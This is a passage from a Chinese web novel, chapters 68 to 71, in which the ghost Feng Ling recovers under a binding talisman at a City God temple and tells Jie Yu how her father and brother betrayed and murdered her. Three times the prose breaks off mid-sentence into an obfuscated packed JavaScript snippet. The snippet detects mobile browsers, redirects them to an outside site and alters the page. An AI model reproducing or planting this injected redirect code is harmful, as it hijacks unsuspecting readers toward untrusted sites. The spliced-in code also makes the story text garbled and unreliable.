“不必泰媪大人费心,他们自会有更好的去处。” 解玉掀起眼帘,一双平静无波的眸子正与孟婆相对。 这一次,轮到孟婆审视起解玉来了。 须臾,发出一声哂笑—— “怪不得你要瞒着封灵儿,原来是早计划好了。” 68. 生路死路 “……幸好她之前在我这里吃了不少的香火,否则不必等她变成厉鬼的那一日,自己就被这满身的伤拖的魂飞魄散了。” 乌贺看着无知觉躺于床榻的封灵,半阖上眼眸低低默念了两句,将手平摊悬于前者身体的上空,而后掌心向下狠狠一压,便见白光陡然一亮,巨大的符纹浮于地面,又立刻暗淡消散。 “我每日会于侧殿为她烧奉香火,信众虔敬还愿生出的功业也会往她的身上匀一部分。只是她的伤势实在严重,饶是如此,也得静养许多日子……但无论如何,也比她吸食鬼气来的要快。” 乌贺将手拢回袖下,转身朝静立许久的孟婆与解玉道。 “……多谢城隍主。” 解玉诚恳道。 “那就辛苦你了,乌贺。” 孟婆也松了口气,“只是这次,怕会用掉你庙里许多的香火与功业……这些就都算在我的头上吧。” “不必,权当是我还她的。” 乌贺摇头。 “……也是,都是我们欠她的。” 孟婆低嗤一声,转而看向不知何时已守在榻边的解玉,“解道长,我先将你脸上的伤治了吧,否则等封灵儿醒了,怕是要心疼的。” 约莫是屋内的气氛太过沉重,孟婆扯着嘴角,罕见地打趣了一句。 而解玉,经由孟婆提醒以后,才似反应过来般感受到左脸传来的灼痛。 早前还不知道封珏身份的时候,他因阻拦其带走酆灵英,混乱间被生生剜去一块肉。而今那缺了一块的地方,血污粘着鬓角散落的发丝,又与外翻的肉皮凝垢在一起,只一看便触目惊心。 “若如此,这伤我便不治了,也好在她面前卖卖可怜,不要就此与我生隙……” 解玉扯了扯嘴角,笑意却有些勉强。 “……她才不是这样小气的人。” 孟婆歪过头注视着封灵,也不知想到了什么,眼中闪过一丝柔意。 抬手凝出一团莹白雾团,又举着它凑近解玉的左脸,动作稍有停留,便见那雾团一点点与翻开的皮肉贴合,而后彻底融为一体。 “人跟鬼不一样,我的术法做不到让你的脸恢复如初,但至少能叫你好受些……回头记得找乌贺拿些纱布包扎,莫要过了水,否则你这张皮就真的要毁了。” 孟婆似乎叹了口气,又对着明显不当回事的解玉苦心叮嘱起来。 “多谢泰媪大人,我、都记下了……” 脸上的灼痛减轻了许多,想来便是那团白雾的功劳。没了来自伤口的折磨,解玉的精神也跟着好上不少,躬身再次向孟婆道谢。 “你都说完了?” 乌贺本倚在墙角听着,闻言突然出声,又看向孟婆的方向。 孟婆沉默了一下,“你是不是想问我冥主的态度?” “……明知故问。” “冥主只是让我们把封灵儿带回去,言语中并无害伤她性命的意思……所以我猜想,冥主或许也不是真想要封灵儿魂飞魄散、罢?” 孟婆试图喂乌贺吃一颗定心丸,可话到最后,却连自己也说服不了自己。 “我当日既应承了你,便不会在这时候赶他俩离开……只是你这样做,可想过回去后如何向冥主交代?” 乌贺沉声道。 “那是我自己的事情,你只替我看顾好封灵儿便是,不必多操心。” 孟婆却避开了这个问题,只深深看了一眼封灵,又道:“他们应该都到地府了,我也差不多该回去了……解道长,我便将封灵儿托付给你了。” “解玉,万死不辞。” “好。” 孟婆似乎笑了一下,又朝乌贺一颔首,转身便要离开。擦肩而过的瞬间,视线不经意间从解玉的衣襟上滑过,又迅速定在某一处。 “解道长,你怀里揣的玉珏,可是封灵儿给的?那可是枚好东西,记得小心保管,能够护你平安的……我想,封灵儿一定也是在乎你的,至少在给你这枚玉珏的时候。” 孟婆弯了眉眼,消失在原地。 解玉怔怔抚上胸口,隔着布料与怀里的玉珏相贴,眼眶一点点红了起来。那个时候,封灵明明已经打定主意要报复了,明明就已经受了很重的伤了,却还是替他想好了后路……封灵她,希望自己平安。 所以……这枚曾在酆家藏书阁里试图伤他的玉珏,最后选择了依照主人的希望,在百望山的那一场混乱中护住了他。 他何德何能…… 乌贺看着听了孟婆的一番话而失了方寸的解玉,和躺在榻上昏迷不醒的封灵,深感无奈地叹了口气。谁能想到谢必安当日信口胡诌的玩笑话如今竟成真了呢? 上前搭住男人的肩膀,乌贺看着前者明显有些恍惚的表情,手下稍一用力,便将解玉的注意力引了回来,“解道长,我这里还有一事要交代,你须记好。” 顿了顿,又道:“方才设在屋内的符纹,除了能帮封灵安养鬼身之外,还有限制她行动的效用。三尺之内,她活动自如,三尺之外,便由不得她了……解道长,你该是明白的,这也是为了她好。” 解玉沉默着点头。 “以防万一,我还会在此屋门口多铺一道符纹,同样为限制她的行动。若是屋内的符纹失效,还能用屋外这道稍加阻挡。解道长,等我把一切都布置好了,再告知你进出的口诀。” 乌贺大致指了个方位。 “……好。” 解玉答的艰难。 乌贺嗯了一声,“那你就守在这里吧,我还有公文要处理,晚些时候再过来看她的情况。” “城隍主,解玉斗胆一问……若封灵最后还是被带回了地府,会是什么下场?” 解玉死死盯着乌贺的表情,试图从前者的表情中窥探出答案。 “厉鬼害人,魂飞魄散。” 乌贺只答了八个字。 解玉却不为所动,“封灵虽有害人之心,但也只是针对生前的仇人,事出有因……且我已经拦下她了,既没有真的伤到人,又怎么会是厉鬼呢?” “……还是说,你们为抹去酆都大帝做下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733168|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情,一定要她以厉鬼的身份去死?” 乌贺这才正眼打量起解玉来,“怪不得孟婆会带着你一起来我这里,原是露了马脚被解道长你猜出前由了……不愧是封灵看上的人。” 跟着又话锋一转,“可那又如何?封灵的命是她自己选的,便是没有酆都大帝,没有我们诓骗她的这一出,她依旧会成为厉鬼……这一点,解道长你该比我清楚才是。” 此话一出,解玉立刻回头看向封灵,见她尚自昏睡不醒,方安下心与乌贺继续言说,“城隍主说反了吧,若没有酆都大帝这一遭,封灵又何至于此!” “解道长,你莫不是以为,她这恶鬼的身份也是我们胡诌的吧?” 乌贺突然反应过来,“封家父子设局杀她是真,她心有不甘死后生怨也是真,可这样的死法最多算枉死鬼,成不了恶鬼……解道长,你今日也在百望山,应该见到她父亲和弟弟的样子了吧,你难道就没有一点好奇吗?” “解道长,莫要因封灵此刻的模样,便觉得她是个凄惨可怜的弱女子,”乌贺看着瞳孔骤缩的解玉,“封氏女弑父杀弟,是录于第八殿的恶鬼,其中无假。” “生前死后,她都不需要任何人来怜悯。” 解玉垂下眼睑,算是默认了这句话。 被人害杀,便拖着那人一起去死,的确是封灵能做出的事情。 乌贺打量着解玉的神色,又道:“容我再提醒你一句,解道长……封灵已经喝过一次孟婆汤了,如今记忆回转,再没有第二次失去记忆的可能。而只要她醒过来,一定是会找封家父子报仇的……不管是千年前,还是千年后,成为厉鬼都是她既定的命数。” “命这东西,谁又能说的清呢?” 解玉重新坐回榻边,神色温柔地注视着封灵,“譬如我,从前也未想过自己有朝一日会跟你们、跟地府扯上关系……城隍主,多谢你耐着性子为解某释惑,但我如今只想知道一件事情,酆都大帝究竟会如何处置封灵?” “鬼差们正全力缉拿封家父子呢,只要他们的魂魄没入地府,冥主与凡人的因果便彻底可解,封灵自然也没有用处了……若之后由我拍板,封灵是恶鬼也好,是厉鬼也罢,这些都无关紧要,继续在地府做鬼师娘娘,或是跟你留在人间,也都随她意愿……” 看着背脊陡然一僵,侧头摆出倾听状的解玉,乌贺无奈一耸肩,“可我做不了主,地府也自有律法,为人时犯下的罪过,注定要在死后受苦偿还……姑且算她不会化为厉鬼罢,可此番回去,也决计做不回地府鬼师了。大抵是和其他恶鬼一样,被投下地狱受折磨赎罪,直到某日恶业消弥,方能得最后的解脱。” “……再没有第二条路了吗?” 解玉垂下眼睑,又长吐出一口浊气,似乎想掩盖住满腔的苦涩,可声音却远没有他面上展露出的那般平稳。 “解道长,你前段时间不是一直在跟皇室打交道么……难道还不明白,生路或死路,不过在冥主的一念之间罢了。” 伴着这番话,乌贺也彻底从屋内消失。 69. 几番前尘 蓦地睁开眼睛,封灵的眼底还带着未散尽的霾色,像是还未从长久的噩梦中挣脱出来一般,视线茫然停滞在虚空的某一处,好一阵才似缓过神来般抖了抖眼睫。 勉强撑住余痛未消的身体,封灵偏过脑袋朝环顾了一圈。不是百望山的泥地,也不是酆都城的水牢……她如今呆着的,是一处再熟悉不过的小屋——北地城隍庙的客房。 可饶是如此,封灵的面上也不见任何的波动,平静得与一摊死水无异。直到感受到手臂间传来的细微拉扯,才多了两分异色,如大梦初醒般垂目看去。 是解玉。 此刻正趴伏在榻边沉睡,手肘压着一截白色的袖角。敷着药膏的左脸就这样直直撞进封灵的眼底,眉心微蹙,显然睡得不算安稳。 白色的,袖角? 封灵这才注意到身上的异样,从来殷红的衣衫重又变回了白衣,一如她千年前惯穿的样式。而本该透明虚幻的鬼身也变得凝实,乍一看竟与寻常凡人无异。 “封灵,鬼大王……” 解玉发出几声无意识的呢语,又突然无征兆地从昏睡中惊醒。手习惯性的向前摸去,却意料之外的抓了个空。 解玉这下是彻底清醒了,仓惶扭头便朝榻上的封灵望去,正对上前者注视着他的平静无波的红眸。 “……鬼、鬼大王,你醒了。” 解玉一下子失了底气,眼神闪烁,说话也有些吞吐,却仍将视线死死定在封灵身上,一刻也不愿意移开。 只是,封灵的反应还是超出了他的想象。 不见愤怒,更没有任何的质问,目光平淡得就像解玉只是个萍水相逢的过路人一般,在她的心里再掀不起任何波澜。 “来都来了,站在外面做甚……乌贺。” 没有理会解玉灼灼的注视,封灵只收回平静如潭的视线,又朝着屋门的方向发出一声轻嗤。 “我正在处理公文,察觉到屋内设下的符纹有变,所以过来看看。” 乌贺倒也干脆,既被封灵开口戳破,便也坦然地现出身形。 封灵却没有立时接话,只神色漠然地掀起眼帘,像是第一次认识乌贺般,将前者由上至下地打量了许久。 “解道长,你不是还有许多要紧事亟待解决的么……就不要在这里守着了,换我来陪鬼师娘娘说会儿话吧。” 乌贺早知道会有这么一茬,也看出封灵与之前截然不同的冷淡,索性找了个借口支开解玉,又自顾自搬了个矮凳坐到封灵榻边。 “……那、鬼大王,我先离开一会儿,很快就回来。” 解玉自然也听懂了乌贺的言下之意,却还是固执地看向封灵,试图从前者身上得到一丝半点的反应,哪怕是厌恶。 但结果注定要让他失望了。 封灵根本不在乎解玉说了什么,才听完乌贺的话便跟倦累了似的垂下脑袋。而后动作缓慢地调整了几下坐姿,像是借力一般,将身体大半都倒向了软枕。做完这一切,才施舍般朝解玉分去一丝注目,像是在奇怪他为什么还不离开。 解玉的眼睛一下子黯淡许多,却还是竭力维持着面上的冷静,甚至逼着自己扯了抹淡笑与封灵道别……哪怕那笑容十足的难看。 …… “乌贺,或者我该叫你贺小山?” 封灵看着自己身上的白衣,无端发出一声哂笑,头也不抬地朝乌贺道。 “想不到灵姑娘还能记得我的名字,只可惜时移世易,连我自己也许多年没听过贺小山这三个字了。” 乌贺面露怀念之色。 “你也与我记忆里的样子相差甚远了……我还记得初见你时,你只是个连酆都大帝的身都没办法靠近的瘦弱小卒,如今倒是鱼跃龙门了,连身貌也变得如此魁梧。怎么,是城隍庙的香火鼎盛,还是日日在地府被鬼气滋养,又或是、怕我见到你后生出眼熟,一不小心便记起你们竭力想让我忘记的旧事?” 封灵总算抬了头,眼底却带着毫不掩饰的讥讽,说话更是夹枪带棒,没有半点留情面的意思。 “您如今也不似从前了……” 嘴角勾起一抹自嘲的笑,乌贺抬手改换出另一副模样,或者说是他原本的模样——身形单薄,颧骨突出,两颊内凹,正对上封灵口中的‘瘦弱’两字。 “您当初将我从鬼口下救出来的时候,我还以为自己见到了九天玄女……明明比任何人都要强,却始终身怀一颗慈悲心肠,对谁都是再温柔、再和善不过的。连我这样不起眼的小人物,也能被您记在心里。” 翻手化出一团灿金功业,乌贺无视封灵一瞬间涌出的厌恶,滞于半空少许时候,又快速拍进封灵胸口,前者的脸色顿时好上许多。 “是啊……我救了你,你却骗了我,算起来还是我更吃亏。” 封灵抬手抚上衣襟,蹙眉感受着胸腔深处传来的细微暖意,好一阵才重新开口。 “灵姑娘后悔了?” 乌贺轻声道。 封灵缓缓摇了头,“你当日确在生死一线之间,我见到了便不可能不救,这种事没什么好后悔的……我只是在想,若那时便知道你不是凡人,你们守卫在身边的老丈其实是地府的主人,我一定是不会与你们结伴的,或许也就没有之后的许多事情了。” 千年前,因地府之失,数万鬼祟逃窜人间为祸,又使各地百姓深受其苦,其中以北地最为严重。她当时自恃修为不弱,便带着父亲和胞弟一路北上,沿途驱鬼救人,倒也得了些好听的名声。 后因封珏被鬼魇了一场,奔波颠簸过甚害了病,这才在路过生息村时稍作停留……正遇上乔装成货商、来人间收拾残局的酆都大帝一行。 而后,她在突然爆发的鬼乱中救下了当时还是贺小山的乌贺,却也被封珏以此要求酆都大帝一行报答,试图从他们用作伪装的货物里抽拿些好处。 至于中途还发生了什么,她实在有些记不清了,总之到最后,他们三人就这样与地府鬼神走到了一起。 但如今再回想,当时的乌贺纵然再弱,也还是个在地府挂了职的鬼差,哪里需要她这个凡人去救……终是她太过自以为是了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741843|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌贺苦笑更甚,“您这话,倒叫我愈发的无地自容了。” “……是吗?” 封灵眼里的讽意依旧,显然是不信的。 “您死时怨气过甚,未免生人受扰,冥主方才拔擢了我这个被您救过的鬼差做了北地的城隍主,又在千年间奉令看管您命陨的这块地方……不管是我的这条命,还是如今一方城隍的位子,全都是托了灵姑娘您的福。” 毫无征兆的,乌贺就这样把事实挑明在封灵眼前。 “不必往我脸上贴金,是酆都大帝瞧得上你,乐意让你做这个城隍主,又何必强扯到我的身上?” 封灵不为所动,更因被乌贺提醒了自己的死状而显得有些脸色不快。 “冥主知道您与我之间存了因果,这才在一众鬼差里选中了我……无论如何,都是我对不起您的。” 看着封灵一瞬间凌厉起来的视线,乌贺笑了笑,隐约可见之前的憨直模样,“您当年救下我,便算是结了因……千年来,我守着您殒命的地方,是了因您成为城隍主的那场因果,到今日再承情帮您这一回,才是了一开始救命的因。” “如此因果闭环,我与您之间才算是彻底两清。您既不会因我背上缠念,我也不会因您碍了修行,这才是两得其便。” 乌贺蓦地停下来,深深看了榻上的白衣身影一眼,方缓缓补上未说尽的话。 而封灵,也从这话中听出了什么,“你这是在暗示我,酆都大帝与我有因,所以才要我被他诓骗,又沦落到如今的下场来结果吗!” “灵姑娘,您也在地府做了千年的鬼师娘娘,该是知道我们都没资格议论冥主的……也就您敢时刻说他老人家的不好。” 乌贺避而不答,封灵却因前者的后半截话想起了什么,眼底一点点被猩红覆盖,“好,好个酆都大帝!明明是他与别人结下的因果,凭什么要我成为恶鬼去偿还!” 这是真拿她当笑话看呢!既然让孟婆抹去了她的记忆,又为何任由人间流传酆家与他这位地府之主的渊源,又为何……要将当年真相糅于闲话当中,又让她当做茶余饭后的笑谈说与新鬼们知? 可这一切,明明不是她造的因! 凭什么…… 凭什么是她来担这个果! 封灵的表情一点点狰狞起来,而后设在屋内的符纹陡然亮起,自地面迸出的白光旋即压向封灵。前者闷哼一声,整个身体不堪重负般倒回软枕之上。 “……今日也说的够多了,再说下去怕会是对您的身体有碍。”乌贺看着被符纹压制着的封灵,自矮凳上缓缓起身,“冥主还未定下对您的处置,那之前您就在我这里安生休养吧。我还有公文要处理,改日再来探望您,告辞。” 即将跨出门槛的前一刻,他听见身后传来低低的一声询问—— “乌贺,我被抹去记忆以后,在北地与你第一次见面的事情,也是你故意为之的吗?” 乌贺顿在原地,最终还是顺从了自己的心。 “……不是。” “我不是,孟婆也不是。” 70. 如此父女 封灵似乎只是短暂的清醒了小半日,紧接着便又陷入了无休止的昏迷中。半梦半醒了许多日,才终于在某个晨间迎来彻底的苏醒。 这一次,她的身边没有陪着解玉。 屋内也只她一个。 撑坐起身,封灵被透过窗棂的细碎阳光晃得微微眯起了眼睛。别过脸略适应了会,封灵两手交叠试图凝出符纹,这才发觉自己的身体里不见任何的鬼力,连动作稍大一些都会目眩头晕……她如今竟连个寻常凡人也不如! 想起乌贺当日进门时找的理由,封灵的脸色有些微冷。红眸越过榻沿看向地面,又一路扫到距她最远的门槛边缘,而后发出一声了然的轻嗤—— 说什么让她安心休养,其实也不过是换了处地方继续将她困住罢了。他们只想让她老实做一头待宰的羔羊,等着高高在上的酆都大帝法外施恩或依律判罚,最好自己还会感激涕零地接下……怎么可能! 随意将散乱垂落胸前的青丝拨到脑后,封灵撑着榻沿便下了地。赤足踏上冰凉的地面,几步的工夫却又停了下来。红眸审视般环顾了一圈,而后不假思索地伸手,直直朝其中一处探去。 伴随着指尖传来的细微刺痛,被铺设在地面的符纹陡然现出痕迹,虚虚浮出几缕白芒,向封灵昭示了自己的存在后,又重新回归一片死寂。 看来,这便是边界了…… 封灵默默在心底掐算了一下,三尺见方的地界,手脚尚不得自由舒展的距离,便是乌贺能容忍她活动的极限了。 两步退后坐回床榻,封灵盯着左右两侧俨然为她准备的物事——余温尚存的茶盏,无聊时解闷的话本,甚至还有满满一匣子凡人才会吃的果子零嘴……麻雀虽小,肝胆俱全,一时间竟让封灵生出几分无从下手的憋闷感。 无他,杯盏里的茶叶是她惯喝的,折了一角的话本是她上次离开时未有看完的,还有那些果子零嘴,也是她曾经挂在嘴边却一直没机会去试的。 除了解玉,没人会知道这些…… 封灵仰头倒回床榻,稍一动作便将大半张脸埋进柔软的被褥当中,微微露出的红眸满是复杂神色。 那日醒转,她眼看着解玉从睡梦时的惊惶害怕到发现自己后的喜不自胜。人的第一反应做不了假……解玉,是真的很担心她。 可饶是如此,她也没有对这份担心做出的任何回应。不管是解玉身上的伤,还是百望山一事的后续,她统统没有去问,任由解玉因自己的态度而生退意。 她还记得在百望山时发生的一切。 当时的自己虽被怨恨冲昏了头脑,又在封珏的刺激下做出了许多不理智的事情,可如今回过头来再看,她依旧不后悔自己的所为,只是遗憾动作没能再快些,以至沦落到今日的下场,既没能拉她所谓的父亲和弟弟赔命,也做不到多拖几个地府的鬼差同归于尽。 这是唯一能支撑她,推着她继续往下走的动力了…… 所以,哪怕她能猜出解玉是因为什么才对她动用了囚鬼之术,她也没办法再轻易说出原谅二字。 解玉想让她生,却毁了她最有可能报仇的机会……她再不可能手刃仇人了。 可她,又有什么资格指责解玉呢? 解玉只是希望她不堕恶鬼罢了,只是想让她安稳无恙罢了,是她自己告诉了囚鬼术,也是她自己对解玉生了全然信任之心。 是,她活该…… 封灵的喉间滚着笑,眼底却浮现出无尽的悲凉。 “……鬼大王,你醒了吗?” 房门外,突然传来解玉犹豫的声音。 “城隍主说他设下的符纹似乎有被动过的迹象,所以让我过来一趟……鬼大王,我、我还可以进来吗?” 真是稀奇,她有多久没听过解玉用这样的腔调说话了……每一个字都在斟酌不说,更带了许多的小心翼翼。明明这家伙的胆子已经大到敢跟自己生气了,如今倒是又变回去了。 封灵的眼珠略略转了一下,张口却不知道该说些什么,索性当自己还在昏睡,翻了个身便埋进被褥的更深处,一副拒人千里之外的样子。 解玉站在门口等了一会儿,却迟迟没有听见屋内传出动静,便知是封灵不愿意见他。虽然早有准备,虽然已经领受过一次了,可等到又一次面对的时候,他的心却还是会跟缺了一块似的难受。 解玉又喊了两声,屋内依旧一片死寂。男人的神色有些黯淡,可饶是如此,他也没有想过用乌贺给的口诀直接推门……他不想让封灵讨厌他,更不想将彼此的隔阂拉得更大。 “其实,也不止是因为城隍主的话……鬼大王,你的玉玦还在我这里,所以……” 所以什么,解玉也不知道。 他只是突然想到了这件事情,给自己一个还可以继续留下来的借口。可之后呢?若封灵还是不肯见她,若封灵只是让他将玉玦还回去呢,那时他又该怎么办…… 解玉怔怔停在原地,像是引颈受戮的囚犯一般,沉默等待最后的宣判。 将一直贴身收着的玉玦从怀里掏出来,又死死攥在掌心不放,解玉在心底告诉自己,再等一刻钟,就一刻钟。若封灵还是不肯见她,他就离开,明日来等,后日再来等……只要封灵无恙,只要他还活在世上一日,就可以一直等下去。 “……进来。” 许久不曾说话,封灵的声音带着被砂纸磨过般的沙哑,却并不难听,直直透过门缝,又毫无保留地钻进解玉的耳朵。 后者顿时精神一振,将手搭在门环上默念了两句,推开门几步便走到封灵跟前。手臂抬起又放下,最后还是克制着让自己停在距床榻三步开外的地方。 “鬼大王,我……” 解玉刚开了个头,便在封灵平静无波的注视中咽了回去。看着平摊着伸到自己眼前的手掌,解玉的薄唇几乎抿成了一条直线,攥着玉玦的指尖用力到有些泛白,却还是缓缓将它递了出去。 而后,手里一轻。 封灵如今连与他触碰都不愿意,就这样悬着手腕停在半空,隔着玉面拈走了那枚玉玦。 “……那,我明日再来看你,再给你带些新的话本。” 解玉僵硬着把手撤回,“鬼大王,你昏睡的这段时间,城隍主一直都在侧殿给你点着香蜡,日夜不停。他还说,你再休养些日子,便能彻底好了。” 自然,他还是没能等来封灵更多一句的回答,只能勉强勾起嘴角,装出一副无事发生的模样,后退两步便要转身。 “解玉,你知道这枚玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758621|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玦是我的东西,那你知道它的来历吗?” 封灵突然问道。 解玉停下脚步,迎上封灵的眼睛老实一摇头,“我只知道它有保护人的能力,又听泰媪大人的话猜测是你的东西……其他的一概不知。” “……那酆灵英呢?她和她的父亲,那个叫酆、酆灵尧的,他们两人又如何?” 似乎只是突然想了起来,封灵随口问过一句,没有解释又换上另一句。 “那日回去便请了大夫,身上虽受了许多的伤,但好在没一处是致命的,就是有些失血过多,也是将养了许多日……还听说,是酆姑娘的父亲拼死相护,做弟弟的也一直在帮着姐姐,这才留下了一线生机。” 解玉略回忆了下,不免生出几分庆幸。 封灵摩挲着手里的玉玦,须臾发出一声含义不明的轻笑,“那照你这么说,酆灵英岂不是很幸运?有这么好的一个父亲,还有这么好的一个弟弟。” “……那、倒也不尽然。” 解玉一下子反应过来,“酆容小公子,便是酆姑娘的弟弟,他年纪尚轻,或许并不知道酆家内里的许多事情,勉强算是无辜。但酆家主却是早知道其先祖之事,却一直隐瞒不言,甚至纵容酆家一众仗势欺人……倒也称不上好。” 话虽如此,酆灵尧力排众议也要让自己的女儿做少家主,酆灵英出事后更是一度舍弃了自己的性命……如此行为,任谁也反驳不了这人的拳拳爱女之心。 “是啊,酆灵尧坏事做尽,却始终视他的女儿为珍宝,酆容也愿意为了自己的姐姐豁出命去……多好的父亲,多好的弟弟哪!” 封灵终于抬起了头,目露讥讽,“我也是同样的姓,我也有父亲和弟弟,可他们却一心想要我死,想要我永世不得超生……解玉,你告诉我,这又是为什么?” 解玉唇瓣几度开合,从来能说会道的嘴在这一刻失去了作用,最终也只能发出几声毫无价值的安慰。 “我来告诉你……” 封灵将玉玦扔向角落,“这个,是我帮某户做玉器行的人家驱鬼后,那家主人除银钱以外给的谢礼。当时还是一块完整的玉料,被我的父亲收下后,想着打磨成一对玉环,正好当做我和弟弟的生辰礼物。” “可其中一枚,却在即将成型时,不慎跌落在地裂了一小块,象征圆满的玉环便成了兆头不好的玉玦……但剩下的料子已经没办法再新做出一枚玉环了。” “……所以,鬼大王,他便将玉玦给了做姐姐的你?” 解玉斟酌了一下,还是没有直接点出封老道人的名姓。 “不,封珏主动要了有缺口的那枚,还说我常年与鬼物打交道,不能在身上佩这些意头不好的东西。” 封灵陷入了回忆当中,“后来还是我自己从封珏的手里换回了玉玦……珏字意指珍贵,又是合在一起的玉,这样名字的人又怎么能戴一块有缺口的玉呢?我的名字寻常,也没有这样的讲究,戴什么也就无关紧要了。所以,最后是我坚持才留下了玉玦。” “鬼大王,你当时跟他们的感情很好吗?” 解玉沉默了一下,还是问出了口。 “血脉相连,彼此依靠,自然是很好的。” “可很快,就不好了。” 71. 利益假象 “……那时,人间各地鬼物作祟,不知有多少的无辜百姓死于鬼口之下。我运气好,因双眼可以视鬼,幼时被个跛脚的老道人收做了徒弟,蒙他教导也学了些驱鬼的术法,侥幸在这场劫难中有了立身之本。” 解玉想起封灵最开始对他说过的话,遂问道:“鬼大王也是天生鬼眼吗?” “……算是吧。” 酆灵合上眼睛又睁开,“当时我们三个里面,只我一人生有鬼眼,他们虽也跟着那跛脚老道人习了些抓鬼路数,但到底有许多不能及的地方,我便也习惯事事冲在最前……我一直以为,只要我们一家人始终在一起,有我护着他们,哪怕人间遍布恶鬼,我们还是能过好自己的日子。” “只是没想到,这些不过是我自己的一腔情愿罢了……” 那时,为使封珏病体痊愈,他们在生息村停留了许久。她救下了乌贺,又因封珏结识了酆都大帝,而后莫名成了点头之交。每日在村中行走时,偶有相遇,也能停下来闲话两句。 直到某一日,生息村又遇鬼祸侵袭,她于混乱中救下了一名稚童,再返回去找寻封珏二人时,听到的便是自己的父亲勇救行路货商的事迹。 之后不久,鬼祸终焉,酆都大帝也终于现了真身,又主动向他们许下一纸空白承诺。封珏几番狡言,又有封老道人从旁试探,最后定下的,便是驭鬼之术。 这是好事。 因为当时的她已决定要去游历四方,用余生去救扶那些曾在鬼祸中受苦受灾的百姓。她早有此念头,只是因为放心不下自己这唯二的家人,才一直拖延到如今。酆都大帝愿意信守承诺传下驭鬼之术,对当时的她来说,实在是再好不过。 可是,酆都大帝为此设下的许多限制却是坏事,就像是奔着要让他们之间生出嫌隙一般…… 她一早便表明了自己的态度,却被她那位“好”父亲摇头拒绝了。最后叨念着手心手背都是肉,当着酆都大帝的面想出了个主意——让他二人去邻近生息村的另一处村落,将逡巡于当地的零星鬼祟解决掉,先回来的那个,便能在他之后承继驭鬼之术。 她去了,却是落在封珏之后去的。 去之前她便想好了,就守在暗处替她这个弟弟压阵,必要时再帮着搭把手,等他将鬼祟除尽后再出现。或者干脆就留在那地方不回来了,帮着把当地的百姓安置好,再以此地为伊始出发游历。 可惜,事与愿违。 她被人从背后深深捅了一刀,生前死后都没能出生息村。 “但你身上的那些伤……” 解玉喃喃道。 “真可惜,那一刀没能带走我的性命。” 封灵拧眉露出一抹奇怪的笑意,“解玉,你知道吗,我是被生生疼醒的……醒来却发现自己的眼睛没有了,舌头也没有了,四肢蜷在一起被放进了窄仄的棺材里。然后你猜,我听到了什么?” 红眸嘲意更浓,“他们以为剜掉了我的眼睛,我就看不清害自己的人是谁,割掉了我的舌头,我就没办法去地府向阎王爷告状……可他们忘了,我还有两只耳朵,听得出有几个人在说话,更分辨得出他们的声音。” 也是到这时,封灵才发现自己错得有多离谱……她以为的父慈女孝、姐弟和睦,却原来都是糊弄她的假象。他们确实对她好,但只是为了有人在鬼物作乱时心甘情愿地挡在他们面前,为了利益二字,更为了他们自己! “我的父亲也好,弟弟也罢,在发现我能带给他们的好处远比不上酆都大帝的那句许诺以后,便收回了对我的好,又将我视作他们辉煌前路上的绊脚石。” 封灵仍然笑着,仿佛说的那个人不是自己一般。 “……他们、他们怎能如此!” 解玉之前虽已猜了个大概,可真从封灵口中听到的那一刻,还是克制不住急剧上涌的愤怒。 “我不需要你来可怜,他们也没从我这里讨到什么便宜。” 封灵轻嗤一声,“当时,封珏先发现了我还没有断气,两个人低头查探的时候,我咬住了其中一人的喉咙,又拔出胸口的刀刺向了另外一人。就是可惜了些,我那个时候太疼了,若能再多撑些时候,保不齐就能拉他们一起去死了……但那日在百望山瞧见他们,似乎也过得不算很好,哈,哈哈,哈哈哈哈!” 封灵笑得仰倒在被褥之上,眉心的阴霾一扫而空。就在解玉以为有转圜余地的时候,又突兀地收了声音,“可是解玉,你为什么非要拦住我呢?只差一点,我就能拉着他们一起下地狱了。” 就像是被硕大的石头砸进平静无波的湖面一般,屋内的气氛陡然凝滞,隔在彼此间的窗户纸就这样被封灵直白戳破。 “……报仇的方法很多,我做不到让你选择代价最惨烈的那一种。” 胸腔深处隐隐有钝痛传来,解玉自嘲似的笑了下,近乎耳语般回答了封灵的问题。 “我曾经……也对自己的父亲和弟弟毫无怀疑,更相信他们对我的好全然出自真心。可遭遇的一切却在提醒我,这世上利益为先,再深厚的情谊、再亲近的身份,最终都要为利益让道。解道长,你如今做出这些事情,又是想从我这里得到什么呢?” 封灵歪了歪脑袋,好似不解道。 解玉怔在了原地,原本放松少许的背脊重又变得僵硬起来。他以为封灵愿意开口提这些过往是终于要放下了,却原来只是拿他和封家那对父子作比,想起一切、又因信任被诓骗千年的封灵已经不肯相信其他人会别无私心了…… “我……” “我来得不巧,似乎打扰到二位的闲话家常了?” 